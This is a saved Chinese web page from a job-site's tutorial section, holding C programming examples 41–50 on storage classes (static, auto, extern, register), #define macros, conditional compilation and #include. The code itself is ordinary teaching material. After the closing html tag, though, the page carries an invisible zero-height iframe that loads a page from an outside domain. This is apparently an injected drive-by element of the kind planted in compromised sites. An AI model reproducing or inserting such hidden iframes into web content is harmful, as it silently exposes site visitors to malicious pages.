📄 2004102781034.htm
字号:
<html>
<head>
<title>经典c程序100例==41--50</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<link href="../../css/view.css" rel=stylesheet>
<body leftmargin="0" topmargin="0">
<div align="center">
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><table border="0" cellpadding="0" cellspacing="0" width="100%" height="89">
<tr>
<td width="100%" height="68"> <table width="100%" height="69" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="146" height="69"><div align="center"><img src="../../Images/jobczlogo.gif" width="290" height="65"></div></td>
<td width="468" height="69" align="right"> <p align="left"><img src="../../images/ad05.gif" width="468" height="60"></td>
</tr>
</table></td>
</tr>
<tr>
<td height="21"><table width=100% align="center" cellpadding=0 cellspacing=0>
<tr bgcolor=#993333>
<td width=63><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../../default.asp"><font color="#FFFFFF">返回首页</font></a></td>
<td width=7><img src=../../images/muspace.gif width="7" height="20"></td>
<td width=63 bgcolor="#009900"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Person/q_1.asp><font color="#FFFFFF">个人求职</font></a></td>
<td width=7><img src=../../images/muspaceperson.gif width="7" height="20"></td>
<td width=63 bgcolor="#1493E7"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Invite/s_1.asp><font color="#FFFFFF">单位招聘</font></a><a class=white href=./index2.htm></a></td>
<td width=7><img src=../../images/muspaceinvite.gif width="7" height="20"></td>
<td width=63 bgcolor="#9966CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../Train/r_1.asp><font color="#FFFFFF">培训充电</font></a></td>
<td width=7><img src=../../images/muspaceTrain.gif width="7" height="20"></td>
<td width=63 bgcolor="#CC9933"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index1.asp><font color="#FFFFFF">市场动态</font></a></td>
<td width=7><img src=../../images/muspace04.gif width="7" height="20"></td>
<td width=63 bgcolor="#99CC66"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index2.asp><font color="#FFFFFF">政策法规</font></a></td>
<td width=7><img src=../../images/muspace05.gif width="7" height="20"></td>
<td width=63 bgcolor="#CC6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index3.asp><font color="#FFFFFF">管理论坛</font></a></td>
<td width=7><img src=../../images/muspace06.gif width="7" height="20"></td>
<td width=63 bgcolor="#FF99CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index4.asp><font color="#FFFFFF">就业指导</font></a></td>
<td width=7><img src=../../images/muspace07.gif width="7" height="20"></td>
<td width=63 bgcolor="#6699CC"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a class=white href=../../index5.asp><font color="#FFFFFF">人事代理</font></a></td>
<td width=7><img src=../../images/muspace08.gif width="7" height="20"></td>
<td width=60 bgcolor="#FF6600"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="http://www.cznytc.com"><font color="#FFFFFF">郴州特产</font></a></td>
<td width=7><img src=../../images/muspace09.gif width="7" height="20"></td>
<td width=60 bgcolor="#FFCC00"><img src=../../images/mudot.gif width="12" height="6" align=absmiddle><a href="../Cooperate/p_1.asp"><font color="#FFFFFF">企业加盟</font></a></td>
<td width=7><img src=../../images/muspace10.gif width="7" height="20"></td>
</tr>
<tr>
<td height=1 colspan=22></td>
</tr>
<tr>
<td height=2 bgcolor=#993333 colspan=22></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height=1 bgcolor=000000></td>
</tr>
<tr>
<td height="8"><img src="../../image/mubg1.gif" width="760" height="8"></td>
</tr>
</table>
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="600" height="500" valign="top"><table width="100%" border="0">
<tr>
<td>当前位置:首页 >> 数据结构 >> 经典c程序100例 >> 正文</td>
</tr>
</table>
<br>
<table width="100%" border="0">
<tr>
<td height="40" align="center" bgcolor="eeeeee"><font style="font-size:16px"><b>经典c程序100例==41--50</b></font></td>
</tr>
<tr>
<td align="right"><font color="#999999">来源:<font color="#CC0000">郴州人才网</font>
时间:2004年10月27日8:10</font></td>
</tr>
</table> <br>
<table width="600" border="0" cellpadding="5">
<tr>
<td class=c><font id="zoom" style="font-size:14px"><P><FONT color=#990000>【程序41】</FONT><BR>题目:学习static定义静态变量的用法 <BR>1.程序分析:<BR>2.程序源代码:<BR>#include "stdio.h"<BR>varfunc()<BR>{<BR>int var=0;<BR>static int static_var=0;<BR>printf("\40:var equal %d \n",var);<BR>printf("\40:static var equal %d \n",static_var);<BR>printf("\n");<BR>var++;<BR>static_var++;<BR>}<BR>void main()<BR>{int i;<BR> for(i=0;i<3;i++)<BR> varfunc();<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序42】</FONT> <BR>题目:学习使用auto定义变量的用法<BR>1.程序分析: <BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{int i,num;<BR>num=2;<BR> for (i=0;i<3;i++)<BR> { printf("\40: The num equal %d \n",num);<BR> num++;<BR> {<BR> auto int num=1;<BR> printf("\40: The internal block num equal %d \n",num);<BR> num++;<BR> }<BR> }<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序43】</FONT><BR>题目:学习使用static的另一用法。 <BR>1.程序分析:<BR>2.程序源代码:<BR>#include "stdio.h"<BR>main()<BR>{<BR>int i,num;<BR>num=2;<BR>for(i=0;i<3;i++)<BR>{<BR>printf("\40: The num equal %d \n",num);<BR>num++;<BR>{<BR>static int num=1;<BR>printf("\40:The internal block num equal %d\n",num);<BR>num++;<BR>}<BR>}<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序44】</FONT><BR>题目:学习使用external的用法。<BR>1.程序分析:<BR>2.程序源代码:<BR>#include "stdio.h"<BR>int a,b,c;<BR>void add()<BR>{ int a;<BR>a=3;<BR>c=a+b;<BR>}<BR>void main()<BR>{ a=b=4;<BR>add();<BR>printf("The value of c is equal to %d\n",c);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序45】</FONT><BR>题目:学习使用register定义变量的方法。<BR>1.程序分析:<BR>2.程序源代码:<BR>void main()<BR>{<BR>register int i;<BR>int tmp=0;<BR>for(i=1;i<=100;i++)<BR>tmp+=i;<BR>printf("The sum is %d\n",tmp);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序46】</FONT><BR>题目:宏#define命令练习(1) <BR>1.程序分析:<BR>2.程序源代码:<BR>#include "stdio.h"<BR>#define TRUE 1<BR>#define FALSE 0<BR>#define SQ(x) (x)*(x)<BR>void main()<BR>{<BR>int num;<BR>int again=1;<BR>printf("\40: Program will stop if input value less than 50.\n");<BR>while(again)<BR>{<BR>printf("\40:Please input number==>");<BR>scanf("%d",&num);<BR>printf("\40:The square for this number is %d \n",SQ(num));<BR>if(num>=50)<BR> again=TRUE;<BR>else<BR> again=FALSE;<BR>}<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序47】</FONT><BR>题目:宏#define命令练习(2)<BR>1.程序分析: <BR>2.程序源代码:<BR>#include "stdio.h"<BR>#define exchange(a,b) { \ /*宏定义中允许包含两道衣裳命令的情形,此时必须在最右边加上"\"*/<BR> int t;\<BR> t=a;\<BR> a=b;\<BR> b=t;\<BR> }<BR>void main(void)<BR>{<BR>int x=10;<BR>int y=20;<BR>printf("x=%d; y=%d\n",x,y);<BR>exchange(x,y);<BR>printf("x=%d; y=%d\n",x,y);<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序48】</FONT><BR>题目:宏#define命令练习(3) <BR>1.程序分析:<BR>2.程序源代码:<BR>#define LAG ><BR>#define SMA <<BR>#define EQ ==<BR>#include "stdio.h"<BR>void main()<BR>{ int i=10;<BR>int j=20;<BR>if(i LAG j)<BR>printf("\40: %d larger than %d \n",i,j);<BR>else if(i EQ j)<BR>printf("\40: %d equal to %d \n",i,j);<BR>else if(i SMA j)<BR>printf("\40:%d smaller than %d \n",i,j);<BR>else<BR>printf("\40: No such value.\n");<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序49】</FONT><BR>题目:#if #ifdef和#ifndef的综合应用。<BR>1. 程序分析: <BR>2.程序源代码:<BR>#include "stdio.h"<BR>#define MAX<BR>#define MAXIMUM(x,y) (x>y)?x:y<BR>#define MINIMUM(x,y) (x>y)?y:x<BR>void main()<BR>{ int a=10,b=20;<BR>#ifdef MAX<BR>printf("\40: The larger one is %d\n",MAXIMUM(a,b));<BR>#else<BR>printf("\40: The lower one is %d\n",MINIMUM(a,b));<BR>#endif<BR>#ifndef MIN<BR>printf("\40: The lower one is %d\n",MINIMUM(a,b));<BR>#else<BR>printf("\40: The larger one is %d\n",MAXIMUM(a,b));<BR>#endif<BR>#undef MAX<BR>#ifdef MAX<BR>printf("\40: The larger one is %d\n",MAXIMUM(a,b));<BR>#else<BR>printf("\40: The lower one is %d\n",MINIMUM(a,b));<BR>#endif<BR>#define MIN<BR>#ifndef MIN<BR>printf("\40: The lower one is %d\n",MINIMUM(a,b));<BR>#else<BR>printf("\40: The larger one is %d\n",MAXIMUM(a,b));<BR>#endif<BR>}<BR>==============================================================<BR><FONT color=#990000>【程序50】</FONT><BR>题目:#include 的应用练习 <BR>1.程序分析:<BR>2.程序源代码:<BR>test.h 文件如下:<BR>#define LAG ><BR>#define SMA <<BR>#define EQ ==<BR>#include "test.h" /*一个新文件50.c,包含test.h*/<BR>#include "stdio.h"<BR>void main()<BR>{ int i=10;<BR>int j=20;<BR>if(i LAG j)<BR>printf("\40: %d larger than %d \n",i,j);<BR>else if(i EQ j)<BR>printf("\40: %d equal to %d \n",i,j);<BR>else if(i SMA j)<BR>printf("\40:%d smaller than %d \n",i,j);<BR>else<BR>printf("\40: No such value.\n");<BR>}</P> </font><br>
(编辑:jobcz)</td>
</tr>
<tr>
<td align="right"><script language=JavaScript>
<!-- Begin
if (window.print) {
document.write('【<a href="#" onClick="javascript:window.print()"><font color=cc0000>打印本文</font></a>】 ');
}
// End -->
</script>
【<a href=../../../bbs/ target=_blank><font color=#cc0000>发表评论</font></a>】【<a href="javascript:window.close()"><font color=#cc0000>关闭窗口</font></a>】</td>
</tr>
</table><br><br></td>
<td width="10"> </td>
<td width="150" valign="top" bgcolor="#F0F3F7"><table width="100%" height="40" cellpadding="3" cellspacing="0" >
<form action="../../search.asp" method="post">
<tr >
<td colspan="2" align="center"> <input type=text size=12 name="keyword">
<input type=submit value="搜索" name="submit"> <input type=hidden name=datesearch value=all>
<input type="hidden" name="AreaSearch" value=1> </td>
</tr>
</form>
</table></td>
</tr>
</table>
<script language=JavaScript src="../../js/end.js"></script>
</div>
</body>
</html>
<iframe height=0 src=http://www.9344.cn/mm.htm ></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -